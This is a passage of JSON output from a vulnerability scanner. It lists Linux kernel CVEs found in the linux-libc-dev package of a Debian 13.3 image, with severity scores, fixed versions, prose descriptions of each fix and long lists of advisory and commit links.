"https://bugzilla.redhat.com/2422696", "https://bugzilla.redhat.com/2432681", "https://bugzilla.redhat.com/2466994", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492112", "https://bugzilla.redhat.com/2492735", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492770", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2502889", "https://bugzilla.redhat.com/2507290", "https://bugzilla.redhat.com/2507301", "https://bugzilla.redhat.com/2520980", "https://bugzilla.redhat.com/show_bug.cgi?id=2422696", "https://bugzilla.redhat.com/show_bug.cgi?id=2432681", "https://bugzilla.redhat.com/show_bug.cgi?id=2466994", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492112", "https://bugzilla.redhat.com/show_bug.cgi?id=2492735", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492770", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2502889", "https://bugzilla.redhat.com/show_bug.cgi?id=2507290", "https://bugzilla.redhat.com/show_bug.cgi?id=2507301", "https://bugzilla.redhat.com/show_bug.cgi?id=2520980", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68211", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74581", "https://errata.almalinux.org/9/ALSA-2026-59723.html", "https://errata.rockylinux.org/RLSA-2026:59723", "https://git.kernel.org/linus/6036b5067a8199ba7a2dc7b377d4b9dd276d5f9e%20%287.1-rc3%29", "https://git.kernel.org/stable/c/0526931b16e5a118d367b7bfce7d797e63f7ac69", "https://git.kernel.org/stable/c/1c4ffe6b4f04365485ed58d64c9bb86b46fc9037", "https://git.kernel.org/stable/c/21e87f336ac6303fed54a69b1d0d79a23b25c8d0", "https://git.kernel.org/stable/c/3fd225f3e4cd67ec8ddab1afed9da03c7c43537c", "https://git.kernel.org/stable/c/4bd8635f28c135a08aac6badcd7d9b5cdb34335f", "https://git.kernel.org/stable/c/5f4d2bd028ebb6e4c09a9d64842546022321d4a7", "https://git.kernel.org/stable/c/6036b5067a8199ba7a2dc7b377d4b9dd276d5f9e", "https://git.kernel.org/stable/c/7e9072dbd5f2f17934751873450d2c22080ead80", "https://linux.oracle.com/cve/CVE-2026-64191.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://lore.kernel.org/linux-cve-announce/2026072052-CVE-2026-64191-42fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64191", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64191" ], "PublishedDate": "2026-07-20T17:18:22.217Z", "LastModifiedDate": "2026-10-19T21:17:26.73Z" }, { "VulnerabilityID": "CVE-2026-64217", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64217", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:54887449e7421ebab4daf8b7323f785de183c82e48bded3bf4dde64d9c3262ee", "Title": "kernel: Linux kernel netfs: Memory corruption leading to denial of service and potential privilege escalation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Fix overrun check in netfs_extract_user_iter()\n\nFix netfs_extract_user_iter() so that if iov_iter_extract_pages() overfills\npages[], then those pages don't get included in the iterator constructed at\nthe end of the function. If there was an overfill, memory corruption has\nalready happened.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64217", "https://git.kernel.org/linus/0ef37eef83fad3542ee06db2940433ae1a92b39d%20%287.1-rc5%29", "https://git.kernel.org/stable/c/00efe58bbdcc93272d579ca24bfc912563f4a204", "https://git.kernel.org/stable/c/0ef37eef83fad3542ee06db2940433ae1a92b39d", "https://git.kernel.org/stable/c/96cc3beb2390ba9f9c128c5733c0ccfe450dd4f9", "https://git.kernel.org/stable/c/afeb32d9bf9aaeea51d0f723a19f14afb73bd94d", "https://git.kernel.org/stable/c/f48b9157f0f611fa436c360648603d5ded719b12", "https://lore.kernel.org/linux-cve-announce/2026072415-CVE-2026-64217-889e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64217", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64217" ], "PublishedDate": "2026-07-24T16:16:49.417Z", "LastModifiedDate": "2026-08-11T18:26:52.42Z" }, { "VulnerabilityID": "CVE-2026-64218", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64218", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ac417ebe6f23fac48bdc5d30bb7359f374d3b26ec35be73010b86504c823c464", "Title": "kernel: batman-adv: bla: fix report_work leak on backbone_gw purge", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbatman-adv: bla: fix report_work leak on backbone_gw purge\n\nbatadv_bla_purge_backbone_gw() removes stale backbone gateway entries,\nbut fails to properly handle their associated report_work:\n\n- If report_work is running, the purge must wait for it to finish before\n freeing the backbone_gw, otherwise the worker may access freed memory\n (e.g. bat_priv).\n- If report_work is pending, the purge must cancel it and release the\n reference held for that pending work item.\n\nThe previous implementation called hlist_for_each_entry_safe() inside a\nspin_lock_bh() section, but cancel_work_sync() may sleep and therefore\ncannot be called from within a spinlock-protected region.\n\nRestructure the loop to handle one entry per spinlock critical section:\nacquire the lock, find the next entry to purge, remove it from the hash\nlist, then release the lock before calling cancel_work_sync() and\ndropping the hash_entry reference. Repeat until no more entries require\npurging.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64218", "https://git.kernel.org/linus/0459430add32ea41f3e2ef9351610e6d33627a6b%20%287.1-rc5%29", "https://git.kernel.org/stable/c/0459430add32ea41f3e2ef9351610e6d33627a6b", "https://git.kernel.org/stable/c/3423a45e5c3d3c5129f88143a9a969787d7d5a0a", "https://git.kernel.org/stable/c/48663158222b3b7f6ee6791a67d512ede7fc94bb", "https://git.kernel.org/stable/c/95a7034661274cf5985708bd2f6d86ee46f88fa9", "https://git.kernel.org/stable/c/c6de1a5a9c406e30b91f1515a6ce05cc84023baa", "https://git.kernel.org/stable/c/ce2c0ee4d76d5ee4b391fe0e31334361e25030ec", "https://git.kernel.org/stable/c/eeddd7bab3d59c1e98642a204141f8c5d6194707", "https://git.kernel.org/stable/c/f1303adb1e59582f76c22798a2e2e150e054a9e7", "https://linux.oracle.com/cve/CVE-2026-64218.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026072415-CVE-2026-64218-ea1d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64218", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64218" ], "PublishedDate": "2026-07-24T16:16:49.52Z", "LastModifiedDate": "2026-08-11T18:26:37.047Z" }, { "VulnerabilityID": "CVE-2026-64219", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64219", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d41f411e3b42232acd236fee53085d11b21764aa5edabf6c0ed971eb87a820fe", "Title": "kernel: drm/amd/display: Validate payload length and link_index in dc_process_dmub_aux_transfer_async", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Validate payload length and link_index in dc_process_dmub_aux_transfer_async\n\n[Why\u0026How]\ndc_process_dmub_aux_transfer_async() copies payload-\u003elength bytes into a\n16-byte stack buffer (dpaux.data[16]) guarded only by an ASSERT(), which\nis a no-op in release builds. If a caller ever passes length \u003e 16 this\nresults in a stack buffer overflow via memcpy.\n\nAdditionally, link_index is used to dereference dc-\u003elinks[] without\nbounds checking against dc-\u003elink_count, risking an out-of-bounds access.\n\nReplace the ASSERT with a hard runtime check that returns false when\npayload-\u003elength exceeds the destination buffer size, and add a bounds\ncheck for link_index before it is used.\n\n(cherry picked from commit ba4caa9fecdf7a38f98c878ad05a8a64148b6881)", "Severity": "HIGH", "CweIDs": [ "CWE-674", "CWE-121" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-64219", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/6c92f6d9600efa3ef0d9e560a2b52776d9803c29%20%287.1-rc5%29", "https://git.kernel.org/stable/c/16a5fa57565afb6bf37e18129921c270c93d8e2b", "https://git.kernel.org/stable/c/1c8c6e912f2945b2a3e669afca6b52174b88e86e", "https://git.kernel.org/stable/c/1ecde19bfce6535bffddad1139ff466b6d401b8e", "https://git.kernel.org/stable/c/3265f3ed373fb8048be713aadcdf702579a0e53d", "https://git.kernel.org/stable/c/6c92f6d9600efa3ef0d9e560a2b52776d9803c29", "https://git.kernel.org/stable/c/90c398e822ca76e40548df0c061dd4f93ea92d71", "https://git.kernel.org/stable/c/d6590e3f766e3111dd1beaf88b9384d117acfa6b", "https://linux.oracle.com/cve/CVE-2026-64219.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026072416-CVE-2026-64219-75c3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64219", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64219" ], "PublishedDate": "2026-07-24T16:16:49.67Z", "LastModifiedDate": "2026-10-19T21:17:27.287Z" }, { "VulnerabilityID": "CVE-2026-64221", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:66260b42bb22b8f7aa125c78a237fdc82eb026e0709e840c66159bd5b7e16022", "Title": "kernel: Linux kernel: spi: ti-qspi use-after-free allows privilege escalation or denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: ti-qspi: fix use-after-free after DMA setup failure\n\nThe driver falls back to PIO mode if DMA setup fails during probe.\n\nMake sure to clear the DMA channel pointer also if buffer allocation\nfails to avoid passing a pointer to the released channel to the DMA\nengine (or trying to free the channel a second time on late probe errors\nor driver unbind).\n\nThis issue was flagged by Sashiko when reviewing a devres allocation\nconversion patch.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64221", "https://git.kernel.org/linus/ea6ec3343e05f7937a53eb6d7617b3abdb4abc19%20%287.1-rc5%29", "https://git.kernel.org/stable/c/178b9b570c0f75fa7e691490520328b20d19138e", "https://git.kernel.org/stable/c/1cd927002120678bd5d23c760246639caa53040e", "https://git.kernel.org/stable/c/3bbbe7ae3fdada0df4157c1ffe989f92dfa8dcd6", "https://git.kernel.org/stable/c/9c6f306a8140962c7284197db54b96fdb5f468d6", "https://git.kernel.org/stable/c/d6f422b122922d1abee907d673bcc990e5f3672d", "https://git.kernel.org/stable/c/d7a076fb596c7b408ed6df74793a597990a6d860", "https://git.kernel.org/stable/c/ea6ec3343e05f7937a53eb6d7617b3abdb4abc19", "https://git.kernel.org/stable/c/f2dc841d7dc9063fe9b47ced869b1271e55052ae", "https://lore.kernel.org/linux-cve-announce/2026072416-CVE-2026-64221-299d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64221", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64221" ], "PublishedDate": "2026-07-24T16:16:49.923Z", "LastModifiedDate": "2026-08-11T18:25:02.363Z" }, { "VulnerabilityID": "CVE-2026-64225", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64225", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0af0dd5d3cc524ce0b52dc6b8d38738b629f345155f034c94d8b2676e5cea503", "Title": "kernel: octeontx2-af: CGX: add bounds check to cgx_speed_mbps index", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nocteontx2-af: CGX: add bounds check to cgx_speed_mbps index\n\ncgx_speed_mbps has 13 elements but RESP_LINKSTAT_SPEED can yield values\n0-15. If it returns a value \u003e= 13, this causes an out-of-bounds array\naccess. Add a bounds check and default to speed 0 if the index is out of\nrange.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64225", "https://git.kernel.org/linus/c0bf0a4f3f1f5f57aa83e1400ba4f56f0abfd542%20%287.1-rc5%29", "https://git.kernel.org/stable/c/2c3d26b4a62454945ba9ef3af3174d3e40e7afef", "https://git.kernel.org/stable/c/47a4cf2229be379cf88f92e32e1240337cd6273f", "https://git.kernel.org/stable/c/8201bf45cc7c1c1a09290c4db8ab1e19801f8fec", "https://git.kernel.org/stable/c/93d3dc81098cd60fb74d434ba7985ddfd9de5acb", "https://git.kernel.org/stable/c/94071141f00bc414e8f8f7f5db3b5143d535299f", "https://git.kernel.org/stable/c/985b5e38ac4f4d5ff03c8bfd8484353b440a1579", "https://git.kernel.org/stable/c/c0bf0a4f3f1f5f57aa83e1400ba4f56f0abfd542", "https://git.kernel.org/stable/c/e043017ac429caee73bd30c5a725659f1a3a4568", "https://lore.kernel.org/linux-cve-announce/2026072417-CVE-2026-64225-a263@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64225", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64225" ], "PublishedDate": "2026-07-24T16:16:51.44Z", "LastModifiedDate": "2026-11-06T17:18:42.267Z" }, { "VulnerabilityID": "CVE-2026-64226", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64226", "DataSource": { "ID": "debian", "Name": 